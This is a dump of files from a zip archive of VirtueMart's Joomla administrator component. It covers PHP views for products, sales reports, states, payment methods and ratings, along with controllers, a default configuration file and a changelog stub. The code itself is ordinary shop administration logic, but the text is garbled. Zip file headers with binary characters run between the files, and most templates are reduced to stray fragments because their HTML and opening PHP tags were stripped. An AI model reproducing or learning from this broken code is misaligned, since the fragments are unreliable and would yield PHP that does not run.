/* Get the category tree */ $categoryId = $model->virtuemart_category_id; //OSP switched to filter in model, was JRequest::getInt('virtuemart_category_id'); $category_tree = ShopFunctions::categoryListTree(array($categoryId)); $this->assignRef('category_tree', $category_tree); /* Load the product price */ if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php'); $vendor_model = VmModel::getModel('vendor'); $productreviews = VmModel::getModel('ratings'); foreach ($productlist as $virtuemart_product_id => $product) { $product->mediaitems = count($product->virtuemart_media_id); $product->reviews = $productreviews->countReviewsForProduct($product->virtuemart_product_id); $vendor_model->setId($product->virtuemart_vendor_id); $vendor = $vendor_model->getVendor(); $currencyDisplay = CurrencyDisplay::getInstance($vendor->vendor_currency,$vendor->virtuemart_vendor_id); if(!empty($product->product_price) && !empty($product->product_currency) ){ $product->product_price_display = $currencyDisplay->priceDisplay($product->product_price,(int)$product->product_currency,1,true); } /* Write the first 5 categories in the list */ $product->categoriesList = shopfunctions::renderGuiList('virtuemart_category_id','#__virtuemart_product_categories','virtuemart_product_id',$product->virtuemart_product_id,'category_name','#__virtuemart_categories','virtuemart_category_id','category'); } $mf_model = VmModel::getModel('manufacturer'); $manufacturers = $mf_model->getManufacturerDropdown(); $this->assignRef('manufacturers', $manufacturers); /* add Search filter in lists*/ /* Search type */ $options = array( '' => JText::_('COM_VIRTUEMART_LIST_EMPTY_OPTION'), 'parent' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_PARENT_PRODUCT'), 'product' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRODUCT'), 'price' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRICE'), 'withoutprice' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_WITHOUTPRICE') ); $this->lists['search_type'] = VmHTML::selectList('search_type', JRequest::getVar('search_type'),$options); /* Search order */ $options = array( 'bf' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_BEFORE'), 'af' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_AFTER') ); $this->lists['search_order'] = VmHTML::selectList('search_order', JRequest::getVar('search_order'),$options); // Toolbar JToolBarHelper::custom('massxref_cats', 'new', 'new', JText::_('COM_VIRTUEMART_PRODUCT_XREF_CAT'), true); JToolBarHelper::custom('massxref_sgrps', 'new', 'new', JText::_('COM_VIRTUEMART_PRODUCT_XREF_SGRPS'), true); JToolBarHelper::custom('createchild', 'new', 'new', JText::_('COM_VIRTUEMART_PRODUCT_CHILD'), true); JToolBarHelper::custom('cloneproduct', 'copy', 'copy', JText::_('COM_VIRTUEMART_PRODUCT_CLONE'), true); JToolBarHelper::custom('addrating', 'default', '', JText::_('COM_VIRTUEMART_ADD_RATING'), true); $this->addStandardDefaultViewCommands(); $this->assignRef('productlist', $productlist); $this->assignRef('virtuemart_category_id', $categoryId); $this->assignRef('model', $model); break; } parent::display($tpl); } /** * This is wrong *@deprecated */ function renderMail() { $this->setLayout('mail_html_waitlist'); $this->subject = JText::sprintf('COM_VIRTUEMART_PRODUCT_WAITING_LIST_EMAIL_SUBJECT', $this->productName); $notice_body = JText::sprintf('COM_VIRTUEMART_PRODUCT_WAITING_LIST_EMAIL_BODY', $this->productName, $this->url); parent::display(); } /** * Renders the list for the discount rules * * @author Max Milbers */ function renderDiscountList($selected,$name='product_discount_id'){ if(!class_exists('VirtueMartModelCalc')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'calc.php'); $discounts = VirtueMartModelCalc::getDiscounts(); $discountrates = array(); $discountrates[] = JHTML::_('select.option', '-1', JText::_('COM_VIRTUEMART_PRODUCT_DISCOUNT_NONE'), 'product_discount_id' ); $discountrates[] = JHTML::_('select.option', '0', JText::_('COM_VIRTUEMART_PRODUCT_DISCOUNT_NO_SPECIAL'), 'product_discount_id' ); // $discountrates[] = JHTML::_('select.option', 'override', JText::_('COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE'), 'product_discount_id'); foreach($discounts as $discount){ $discountrates[] = JHTML::_('select.option', $discount->virtuemart_calc_id, $discount->calc_name, 'product_discount_id'); } $listHTML = JHTML::_('Select.genericlist', $discountrates, $name, '', 'product_discount_id', 'text', $selected ); return $listHTML; } static function displayLinkToChildList($product_id, $product_name) { $db = JFactory::getDBO(); $db->setQuery(' SELECT COUNT( * ) FROM `#__virtuemart_products` WHERE `product_parent_id` ='.$product_id); if ($result = $db->loadResult()){ $result = JText::sprintf('COM_VIRTUEMART_X_CHILD_PRODUCT', $result); echo JHTML::_('link', JRoute::_('index.php?view=product&product_parent_id='.$product_id.'&option=com_virtuemart'), $result, array('title' => JText::sprintf('COM_VIRTUEMART_PRODUCT_LIST_X_CHILDREN',$product_name) )); } } static function displayLinkToParent($product_parent_id) { $db = JFactory::getDBO(); $db->setQuery(' SELECT * FROM `#__virtuemart_products_'.VMLANG.'` as l JOIN `#__virtuemart_products` using (`virtuemart_product_id`) WHERE `virtuemart_product_id` = '.$product_parent_id); if ($parent = $db->loadObject()){ $result = JText::sprintf('COM_VIRTUEMART_LIST_CHILDREN_FROM_PARENT', $parent->product_name); echo JHTML::_('link', JRoute::_('index.php?view=product&product_parent_id='.$product_parent_id.'&option=com_virtuemart'), $parent->product_name, array('title' => $result)); } } } //pure php no closing tag PKB\)views/report/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\CEviews/report/tmpl/default.phpnuW+Areport ); $intervalTitle = JRequest::getVar('intervals','day'); if ( ($intervalTitle =='week') or ($intervalTitle =='month') ) $addDateInfo = true ; else $addDateInfo = false; // if( $this->pagination->limit < $rows ){ // if( ($this->pagination->limitstart + $this->pagination->limit) < $rows ) { // $rows = $this->pagination->limitstart + $this->pagination->limit; // } // } if ( JVM_VERSION == 2 ) JHtml::_('behavior.framework', true); ?>
    report[$j]; //$is = $this->itemsSold[$j]; $s = 0; ?>
    sort('created_on', 'COM_VIRTUEMART_'.$intervalTitle); ?> sort('o.virtuemart_order_id', 'COM_VIRTUEMART_REPORT_BASIC_ORDERS') ; ?> sort('product_quantity', 'COM_VIRTUEMART_REPORT_BASIC_TOTAL_ITEMS') ; ?> sort('order_subtotal_netto', 'COM_VIRTUEMART_REPORT_BASIC_REVENUE_NETTO') ; ?> sort('order_subtotal_brutto', 'COM_VIRTUEMART_REPORT_BASIC_REVENUE_BRUTTO') ; ?> sort('order_item_name', 'COM_VIRTUEMART_PRODUCT_NAME') ; ?> sort('virtuemart_product_id', 'COM_VIRTUEMART_PRODUCT_ID') ; ?>
    totalReport['number_of_ordersTotal']?> totalReport['itemsSoldTotal'];?> totalReport['revenueTotal_netto'];?> totalReport['revenueTotal_brutto'];?>
    pagination->getListFooter(); ?>
    addStandardHiddenToForm(); ?>
    PKB\views/report/tmpl/index.htmlnuW+APKB\)views/report/.htaccessnuW+A Order allow,deny Deny from all PKB\:S:views/report/view.html.phpnuW+ASetViewTitle('REPORT'); $myCurrencyDisplay = CurrencyDisplay::getInstance(); //update order items button $q = 'SELECT * FROM #__virtuemart_order_items WHERE `product_discountedPriceWithoutTax` IS NULL '; $db = JFactory::getDBO(); $db->setQuery($q); $res = $db->loadRow(); if($res) { JToolBarHelper::customX('updateOrderItems', 'new', 'new', JText::_('COM_VIRTUEMART_REPORT_UPDATEORDERITEMS'),false); vmError('COM_VIRTUEMART_REPORT_UPDATEORDERITEMS_WARN'); } $this->addStandardDefaultViewLists($model); $revenueBasic = $model->getRevenue(); if($revenueBasic){ $totalReport['revenueTotal_brutto']= $totalReport['revenueTotal_netto']= $totalReport['number_of_ordersTotal'] = $totalReport['itemsSoldTotal'] = 0 ; foreach($revenueBasic as &$j){ vmdebug('VirtuemartViewReport revenue',$j); $totalReport['revenueTotal_netto'] += $j['order_subtotal_netto']; $totalReport['revenueTotal_brutto'] += $j['order_subtotal_brutto']; $totalReport['number_of_ordersTotal'] += $j['count_order_id']; $j['order_subtotal_netto'] = $myCurrencyDisplay->priceDisplay($j['order_subtotal_netto']); $j['order_subtotal_brutto'] = $myCurrencyDisplay->priceDisplay($j['order_subtotal_brutto']); //$j['product_quantity'] = $model->getItemsByRevenue($j); $totalReport['itemsSoldTotal'] +=$j['product_quantity']; } $totalReport['revenueTotal_netto'] = $myCurrencyDisplay->priceDisplay($totalReport['revenueTotal_netto']); $totalReport['revenueTotal_brutto'] = $myCurrencyDisplay->priceDisplay($totalReport['revenueTotal_brutto']); // if ( 'product_quantity'==JRequest::getWord('filter_order')) { // foreach ($revenueBasic as $key => $row) { // $created_on[] =$row['created_on']; // $intervals[] =$row['intervals']; // $itemsSold[] =$row['product_quantity']; // $number_of_orders[] =$row['count_order_id']; // $revenue[] =$row['revenue']; // } // if (JRequest::getWord('filter_order_Dir') == 'desc') array_multisort($itemsSold, SORT_DESC,$revenueBasic); // else array_multisort($itemsSold, SORT_ASC,$revenueBasic); // } } $this->assignRef('report', $revenueBasic); $this->assignRef('totalReport', $totalReport); //$itemsSold = $model->getItemsSold($revenueBasic); //$this->assignRef('itemsSold', $itemsSold); // I tihnk is to use in a different layout such as product solds // PATRICK K. // $productList = $model->getOrderItems(); // $this->assignRef('productList', $productList); $orderstatusM =VmModel::getModel('orderstatus'); $this->lists['select_date'] = $model->renderDateSelectList(); $orderstates = JRequest::getVar ('order_status_code', array('C','S')); $this->lists['state_list'] = $orderstatusM->renderOSList($orderstates,'order_status_code',TRUE); $this->lists['intervals'] = $model->renderIntervalsList(); $this->assignRef('from_period', $model->from_period); $this->assignRef('until_period', $model->until_period); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); parent::display($tpl); } } PKB\views/report/index.htmlnuW+APKB\)views/state/.htaccessnuW+A Order allow,deny Deny from all PKB\_q  views/state/view.json.phpnuW+AsetQuery($q); $states[$country_id] = $db->loadAssocList(); } echo json_encode($states); } } // pure php no closing tag PKB\ {Z views/state/tmpl/edit.phpnuW+A
    */?> virtuemart_country_id,JText::sprintf('COM_VIRTUEMART_STATE_COUNTRY',$this->country_name).' '. JText::_('COM_VIRTUEMART_DETAILS') ); ?>
    state->published); ?>
    worldZones, 'virtuemart_worldzone_id', '', 'virtuemart_worldzone_id', 'zone_name', $this->state->virtuemart_worldzone_id); ?>
    worldZones, 'virtuemart_worldzone_id', '', 'virtuemart_worldzone_id', 'zone_name', $this->country->virtuemart_worldzone_id);*/ ?>
    addStandardHiddenToForm(); ?>
    PKB\)views/state/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\views/state/tmpl/index.htmlnuW+APKB\G-Q views/state/tmpl/default.phpnuW+A
    virtuemart_country_id,JText::sprintf('COM_VIRTUEMART_STATES_COUNTRY',$this->country_name)); ?>
    states ); $i < $n; $i++) { $row = $this->states[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_state_id,null,'virtuemart_state_id'); $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=state&task=edit&virtuemart_state_id=' . $row->virtuemart_state_id); ?>
    state_name; ?> virtuemart_worldzone_id; ?> state_2_code; ?> state_3_code; ?>
    pagination->getListFooter(); ?>
    addStandardHiddenToForm(); ?>
    PKB\views/state/index.htmlnuW+APKB\r*}~ views/state/view.html.phpnuW+ASetViewTitle(); $model = VmModel::getModel(); // $stateId = JRequest::getVar('virtuemart_state_id'); // $model->setId($stateId); $state = $model->getSingleState(); $countryId = JRequest::getInt('virtuemart_country_id', 0); if(empty($countryId)) $countryId = $state->virtuemart_country_id; $this->assignRef('virtuemart_country_id', $countryId); $isNew = (count($state) < 1); if(empty($countryId) && $isNew){ JError::raiseWarning(412,'Country id is 0'); return false; } $country = VmModel::getModel('country'); $country->setId($countryId); $this->assignRef('country_name', $country->getData()->country_name); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $this->assignRef('state', $state); $zoneModel = VmModel::getModel('Worldzones'); $wzsList = $zoneModel->getWorldZonesSelectList(); $this->assignRef('worldZones', $wzsList); $this->addStandardEditViewCommands(); } else { $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $states = $model->getStates($countryId); $this->assignRef('states', $states); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } } // pure php no closing tag PKB\ (views/paymentmethod/tmpl/edit_config.phpnuW+Apayment->payment_jplugin_id){ // vmdebug('my payment ',$this->payment); //$parameters = new vmParameters($this->paym->payment_params, JPATH_PLUGINS.DS.'vmpayment'.DS.basename($this->paym->payment_element).'.xml', 'plugin' ); $parameters = new vmParameters($this->payment, $this->payment->payment_element , 'plugin' ,'vmpayment'); echo $rendered = $parameters->render(); } else { echo JText::_('COM_VIRTUEMART_SELECT_PAYMENT_METHOD' ); } PKB\qzȍ&views/paymentmethod/tmpl/edit_edit.phpnuW+A langList; ?>
    payment->payment_name); ?> payment->slug); ?> payment->published); ?> payment->payment_desc); ?> vmPPaymentList ); ?> shopperGroupList ); ?> payment->ordering,'class="inputbox"','',4,4); ?> vendorList); } ?>
    PKB\/U٤!views/paymentmethod/tmpl/edit.phpnuW+A
    payment->virtuemart_paymentmethod_id ); // Loading Templates in Tabs END ?>
    PKB\u |$views/paymentmethod/tmpl/default.phpnuW+Acheck( 'admin' )){ ?>
    perms->check( 'admin' )){ ?> payments ); $i < $n; $i++) { $row = $this->payments[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_paymentmethod_id); $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=paymentmethod&task=edit&cid[]=' . $row->virtuemart_paymentmethod_id); ?> "> perms->check( 'admin' )){?>
    sort('payment_name', 'COM_VIRTUEMART_PAYMENT_LIST_NAME'); ?> sort('virtuemart_vendor_id', 'COM_VIRTUEMART_VENDOR'); ?> sort('payment_element', 'COM_VIRTUEMART_PAYMENT_ELEMENT'); ?> sort('ordering', 'COM_VIRTUEMART_LIST_ORDER'); ?> sort('published', 'COM_VIRTUEMART_PUBLISHED'); ?> sort('virtuemart_paymentmethod_id', 'COM_VIRTUEMART_ID') ?>
    payment_name; ?> payment_desc; ?> virtuemart_vendor_id); ?> paymShoppersList; ?> payment_element; ?> ordering; ?> shared; ?> virtuemart_paymentmethod_id; ?>
    pagination->getListFooter(); ?>
    addStandardHiddenToForm(); ?>
    PKB\)"views/paymentmethod/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\#views/paymentmethod/tmpl/index.htmlnuW+APKB\views/paymentmethod/index.htmlnuW+APKB\)views/paymentmethod/.htaccessnuW+A Order allow,deny Deny from all PKB\~=!views/paymentmethod/view.html.phpnuW+AaddHelperPath(JPATH_VM_ADMINISTRATOR.DS.'helpers'); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); if (!class_exists ('vmPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmplugin.php'); } if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); $this->assignRef('perms', Permissions::getInstance()); $model = VmModel::getModel('paymentmethod'); //@todo should be depended by loggedVendor // $vendorId=1; // $this->assignRef('vendorId', $vendorId); // TODO logo $this->SetViewTitle(); $layoutName = JRequest::getWord('layout', 'default'); $vendorModel = VmModel::getModel('vendor'); $vendorModel->setId(1); $vendor = $vendorModel->getVendor(); $currencyModel = VmModel::getModel('currency'); $currencyModel = $currencyModel->getCurrency($vendor->vendor_currency); $this->assignRef('vendor_currency', $currencyModel->currency_symbol); if ($layoutName == 'edit') { // Load the helper(s) if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); $payment = $model->getPayment(); $this->assignRef('payment', $payment); $this->assignRef('vmPPaymentList', self::renderInstalledPaymentPlugins($payment->payment_jplugin_id)); $this->assignRef('shopperGroupList', ShopFunctions::renderShopperGroupList($payment->virtuemart_shoppergroup_ids, true)); if(Vmconfig::get('multix','none')!=='none'){ $vendorList= ShopFunctions::renderVendorList($payment->virtuemart_vendor_id); $this->assignRef('vendorList', $vendorList); } $this->addStandardEditViewCommands( $payment->virtuemart_paymentmethod_id); } else { JToolBarHelper::custom('clonepayment', 'copy', 'copy', JText::_('COM_VIRTUEMART_PAYMENT_CLONE'), true); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model); $payments = $model->getPayments(); $this->assignRef('payments', $payments); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); } parent::display($tpl); } function renderInstalledPaymentPlugins($selected){ if ( JVM_VERSION===1) { $table = '#__plugins'; $ext_id = 'id'; $enable = 'published'; } else { $table = '#__extensions'; $ext_id = 'extension_id'; $enable = 'enabled'; } $db = JFactory::getDBO(); //Todo speed optimize that, on the other hand this function is NOT often used and then only by the vendors // $q = 'SELECT * FROM #__plugins as pl JOIN `#__virtuemart_payment_method` AS pm ON `pl`.`id`=`pm`.`payment_jplugin_id` WHERE `folder` = "vmpayment" AND `published`="1" '; // $q = 'SELECT * FROM #__plugins as pl,#__virtuemart_payment_method as pm WHERE `folder` = "vmpayment" AND `published`="1" AND pl.id=pm.payment_jplugin_id'; $q = 'SELECT * FROM `'.$table.'` WHERE `folder` = "vmpayment" and `state`="0" AND `element`<>"moneybookers" ORDER BY `ordering`,`name` ASC'; $db->setQuery($q); $result = $db->loadAssocList($ext_id); if(empty($result)){ $app = JFactory::getApplication(); $app -> enqueueMessage(JText::_('COM_VIRTUEMART_NO_PAYMENT_PLUGINS_INSTALLED')); } $listHTML=''; return $listHTML; } } // pure php not tag PKB\(VRviews/ratings/view.html.phpnuW+Amax_rating = VmConfig::get('vm_maximum_rating_scale',5); $this->assignRef('max_rating', $this->max_rating); $model = VmModel::getModel(); $this->SetViewTitle('REVIEW_RATE' ); /* Get the task */ $task = JRequest::getWord('task'); switch ($task) { case 'listreviews': /* Get the data */ $this->addStandardDefaultViewLists($model); $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $reviewslist = $model->getReviews($virtuemart_product_id); $lists = array(); $lists['filter_order'] = $mainframe->getUserStateFromRequest($option.'filter_order', 'filter_order', '', 'cmd'); $lists['filter_order_Dir'] = $mainframe->getUserStateFromRequest($option.'filter_order_Dir', 'filter_order_Dir', '', 'word'); $this->assignRef('reviewslist', $reviewslist); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); $this->addStandardDefaultViewCommands(false,true); break; case 'edit': /* Get the data */ $rating = $model->getRating($cids); $this->addStandardEditViewCommands(); /* Assign the data */ $this->assignRef('rating', $rating); break; case 'edit_review': JToolBarHelper::divider(); /* Get the data */ $rating = $model->getReview($cids); if(!empty($rating)){ $this->SetViewTitle('REVIEW_RATE',$rating->product_name." (". $rating->customer.")" ); JToolBarHelper::customX('saveReview', 'save', 'save', JText::_('COM_VIRTUEMART_SAVE'), false); JToolBarHelper::customX('applyReview', 'apply', 'apply', JText::_('COM_VIRTUEMART_APPLY'), false); } else { $this->SetViewTitle('REVIEW_RATE','ERROR' ); } JToolBarHelper::customX('cancelEditReview', 'cancel', 'cancel', JText::_('COM_VIRTUEMART_CANCEL'), false); /* Assign the data */ $this->assignRef('rating', $rating); break; default: $this->addStandardDefaultViewCommands(false, true); $this->addStandardDefaultViewLists($model); $ratingslist = $model->getRatings(); $this->assignRef('ratingslist', $ratingslist); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); break; } parent::display($tpl); } } // pure php no closing tag PKB\views/ratings/index.htmlnuW+APKB\)views/ratings/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKB\"views/ratings/tmpl/edit_review.phpnuW+A
    max_rating;$i++) { $title = (JText::_("COM_VIRTUEMART_RATING_TITLE").' : '. $i . '/' . $this->max_rating) ; $stars = ''; $rating_options[] = JHTML::_('select.option',$i,$stars); } echo JHTML::_('select.radiolist', $rating_options, 'vote', 'id="vote" class="inputbox"', 'value', 'text', $this->rating->vote); ?>
     
    rating->published); ?>
    addStandardHiddenToForm(); ?>
    PKB\uު\\views/ratings/tmpl/default.phpnuW+A
    ratingslist) > 0) { $i = 0; $k = 0; $keyword = JRequest::getWord('keyword'); foreach ($this->ratingslist as $key => $review) { $checked = JHTML::_('grid.id', $i , $review->virtuemart_rating_id); $published = JHTML::_('grid.published', $review, $i ); ?> virtuemart_product_id; ?> virtuemart_product_id ; ?>
    sort('created_on', 'COM_VIRTUEMART_DATE') ; ?> sort('product_name') ; ?> sort('rating', 'COM_VIRTUEMART_RATE_NOM') ; ?> sort('published') ?>
    created_on,'LC2',true) , array("title" => JText::_('COM_VIRTUEMART_RATING_EDIT_TITLE'))); ?> product_name, array('title' => JText::_('COM_VIRTUEMART_EDIT').' '.$review->product_name)); ?> rating) * 24; ?> rating) . '/' . $maxrating) ?>" class="ratingbox" style="display:inline-block;">
    pagination->getListFooter(); ?>
    addStandardHiddenToForm(); ?>
    PKB\, P#views/ratings/tmpl/list_reviews.phpnuW+A
    reviewslist) > 0) { $i = 2; //$k = 0; $keyword = JRequest::getWord('keyword'); foreach ($this->reviewslist as $key => $review) { //vmdebug('my review ',$review); $checked = JHTML::_('grid.id', $i , $review->virtuemart_rating_review_id ,null, 'virtuemart_rating_review_id'); $published = JHTML::_('grid.published', $review, $i); ?> virtuemart_rating_review_id; ?> virtuemart_product_id ?>
    sort('pr.created_on', 'COM_VIRTUEMART_DATE') ; ?> sort('product_name') ; ?> sort('vote', 'COM_VIRTUEMART_RATE_NOM') ; ?> sort('published') ; ?>
    customer.' ('.vmJsApi::date($review->created_on,'LC2',true).')', array("title" => JText::_('COM_VIRTUEMART_RATING_EDIT_TITLE'))); ?> product_name, array('title' => JText::_('COM_VIRTUEMART_EDIT').' '.$review->product_name)); ?> vote).'.gif',$review->vote,array("title" => (JText::_('COM_VIRTUEMART_RATING_TITLE').' : '. $review->vote . ' :: ' . $this->max_rating))); $maxrating = VmConfig::get('vm_maximum_rating_scale', 5); $ratingwidth = round($review->review_rating) * 24; ?> review_rating) . '/' . $maxrating) ?>" class="ratingbox" style="display:inline-block;">
    pagination->getListFooter(); ?>
    addStandardHiddenToForm(null,'listreviews'); ?>
    PKB\views/ratings/tmpl/index.htmlnuW+APKB\)views/ratings/.htaccessnuW+A Order allow,deny Deny from all PKB\L\P2 access.xmlnuW+A
    PKB\!Yvirtuemart.cfgnuW+A# Required configuration data for the VirtueMart installer # http://www.virtuemart.net # Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved. # http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php # VirtueMart is free software. This version may have been modified pursuant # to the GNU General Public License, and as distributed it includes or # is derivative of works licensed under the GNU General Public License or # other free or open source software licenses. # $Id: virtuemart_defaults.cfg 3726 2011-07-16 12:01:49Z Milbo $ # # Notes: # - The hash-sign (#) is a comment character, but only if it's the first non-blank char on a line # - The equal-sign (=) when the default value is empty, is optional # - Constant values can be used by enclosing them in curly brackets ({}), eg: # some_path_value={JPATH_ROOT}{DS}virtuemart{DS}somewhere [config] ##shop settings shop_is_offline=0 offline_message=Our Shop is currently down for maintenance. Please check back again soon. use_as_catalog=0 currency_converter_module=convertECB.php order_mail_html=1 useSSL=0 dangeroustools=0 debug_enable=none google_jquery=1 multix=none ##Shopfront pdf_button_enable=1 show_emailfriend=1 show_printicon=0 show_out_of_stock_products=1 coupons_enable=0 show_uncat_child_products=0 coupons_default_expire=1,D weight_unit_default=KG lwh_unit_default=m list_limit=20 showReviewFor=all reviewMode=registered showRatingFor=all ratingMode=registered reviews_autopublish=1 reviews_minimum_comment_length=100 reviews_maximum_comment_length=2000 vmtemplate=default categorytemplate=default showCategory=1 categorylayout=0 categories_per_row=3 productlayout=0 products_per_row=3 vmlayout=0 show_featured=1 featured_products_per_row=3 show_topTen=1 topten_products_per_row=3 show_recent=1 show_latest=1 ##Paths assets_general_path=components/com_virtuemart/assets/ media_category_path=images/stories/virtuemart/category/ media_product_path=images/stories/virtuemart/product/ media_manufacturer_path=images/stories/virtuemart/manufacturer/ media_vendor_path=images/stories/virtuemart/vendor/ forSale_path_thumb=images/stories/virtuemart/forSale/resized/ img_resize_enable=1 img_width=90 img_height=90 no_image_set=noimage.gif no_image_found=warning.png ##Product order settings browse_orderby_field=p.virtuemart_product_id browse_orderby_fields=array:product_sku|category_name|mf_name|product_name browse_search_fields=array:product_sku|category_name|category_description|mf_name|product_name|product_s_desc ##Pricing show_prices=1 price_show_packaging_pricelabel=0 show_tax=1 basePrice=1 basePriceText=1 basePriceRounding=-1 variantModification=1 variantModificationText=1 variantModificationRounding=-1 basePriceVariant=1 basePriceVariantText=1 basePriceVariantRounding=-1 basePriceWithTax=1 basePriceWithTaxText=1 basePriceWithTaxRounding=-1 discountedPriceWithoutTax=1 discountedPriceWithoutTaxText=1 discountedPriceWithoutTaxRounding=-1 salesPriceWithDiscount=1 salesPriceWithDiscountText=1 salesPriceWithDiscountRounding=-1 salesPrice=1 salesPriceText=1 salesPriceRounding=-1 priceWithoutTax=1 priceWithoutTaxText=1 priceWithoutTaxRounding=-1 discountAmount=1 discountAmountText=1 discountAmountRounding=-1 taxAmount=1 taxAmountText=1 taxAmountRounding=-1 ##Check stock addtocart_popup=1 check_stock=0 automatic_payment=1 automatic_shipment=1 agree_to_tos_onorder=0 oncheckout_show_legal_info=1 oncheckout_show_register=1 oncheckout_show_steps=0 oncheckout_show_register_text=COM_VIRTUEMART_ONCHECKOUT_DEFAULT_TEXT_REGISTER ##SEO seo_disabled=0 seo_translate=0 seo_use_id=0 PKB\xٶ admin.virtuemart.phpnuW+AisSuperVendor()){ // if(!Permissions::getInstance()->check('admin','storeowner')){ $app = JFactory::getApplication(); vmError( 'Access restricted to Vendor and Administrator only (you are admin and should not see this messsage?)','Access restricted to Vendors and Administrator only' ); $app->redirect('index.php'); } // Require specific controller if requested if($_controller = vRequest::getCmd('view', vRequest::getCmd('controller', 'virtuemart'))) { if (file_exists(JPATH_VM_ADMINISTRATOR.DS.'controllers'.DS.$_controller.'.php')) { // Only if the file exists, since it might be a Joomla view we're requesting... require (JPATH_VM_ADMINISTRATOR.DS.'controllers'.DS.$_controller.'.php'); } else { // try plugins JPluginHelper::importPlugin('vmextended'); $dispatcher = JDispatcher::getInstance(); $results = $dispatcher->trigger('onVmAdminController', array($_controller)); if (empty($results)) { $app = JFactory::getApplication(); $app->enqueueMessage('Fatal Error in maincontroller admin.virtuemart.php: Couldnt find file '.$_controller); $app->redirect('index.php?option=com_virtuemart'); } } } // Create the controller $_class = 'VirtueMartController'.ucfirst($_controller); $controller = new $_class(); // Perform the Request task $controller->execute(vRequest::getCmd('task', $_controller)); vmTime($_class.' Finished task '.$_controller,'Start'); vmRam('End'); vmRamPeak('Peak'); $controller->redirect(); // pure php no closing tagPKB\SPP changelog.phpnuW+A Legend: * -> Security Fix # -> Bug Fix $ -> Language fix or change + -> Addition ^ -> Change - -> Removed ! -> Note -------------------- 1.5.0 Stable Release [Release date here] ------------------ ^ Category maintenance converted to MVC ^ Manufacturer Category view converted ^ Landing page converted to MVC ^ Media handling converted to MVC ^ Product listing converted to MVC ^ Administrator menu converted to MVC helper ^ Country maintenance converted to MVC ^ Credit card maintenance converted to MVC ^ Currency maintenance converted to MVC ^ Coupon maintenance converted to MVC + Added the ability to publish/unpublish countries ^ Coupon maintenance converted to MVC ^ Shipment Carrier maintenance converted to MVC ^ Shipment Rate maintenance converted ^ Order Status maintenance page converted to MVC # Bug 1538 fixed; Product pricing table changePKB\D D controllers/translate.phpnuW+AgetDefault() == $lang ) $dblang =''; $dblang= strtr($lang,'-','_'); $id = JRequest::getInt('id',0); $viewKey = JRequest::getWord('editView'); // TODO temp trick for vendor if ($viewKey == 'vendor') $id = 1 ; $tables = array ('category' =>'categories','product' =>'products','manufacturer' =>'manufacturers','manufacturercategories' =>'manufacturercategories','vendor' =>'vendors', 'paymentmethod' =>'paymentmethods', 'shipmentmethod' =>'shipmentmethods'); if ( !array_key_exists($viewKey, $tables) ) { $json['msg'] ="Invalid view ". $viewKey; echo json_encode($json); jExit(); } $tableName = '#__virtuemart_'.$tables[$viewKey].'_'.$dblang; $db =JFactory::getDBO(); $q='select * FROM `'.$tableName.'` where `virtuemart_'.$viewKey.'_id` ='.$id; $db->setQuery($q); if ($json['fields'] = $db->loadAssoc()) { $json['structure'] = 'filled' ; $json['msg'] = jText::_('COM_VIRTUEMART_SELECTED_LANG').':'.$lang; } else { $json['structure'] = 'empty' ; $db->setQuery('SHOW COLUMNS FROM '.$tableName); $tableDescribe = $db->loadAssocList(); array_shift($tableDescribe); $fields=array(); foreach ($tableDescribe as $key =>$val) $fields[$val['Field']] = $val['Field'] ; $json['fields'] = $fields; $json['msg'] = JText::sprintf('COM_VIRTUEMART_LANG_IS_EMPTY',$lang ,jText::_('COM_VIRTUEMART_'.strtoupper( $viewKey)) ) ; } echo json_encode($json); jExit(); } } //pure php no tag PKB\ncontrollers/shoppergroup.phpnuW+AregisterTask( 'default','makeDefault' ); } function makeDefault() { $mainframe = Jfactory::getApplication(); /* Load the view object */ $view = $this->getView('shoppergroup', 'html'); $model = VmModel::getModel('shoppergroup'); $msgtype = ''; $cids = JRequest::getVar('virtuemart_shoppergroup_id',array()); if ($model->makeDefault((int)$cids[0])) $msg = 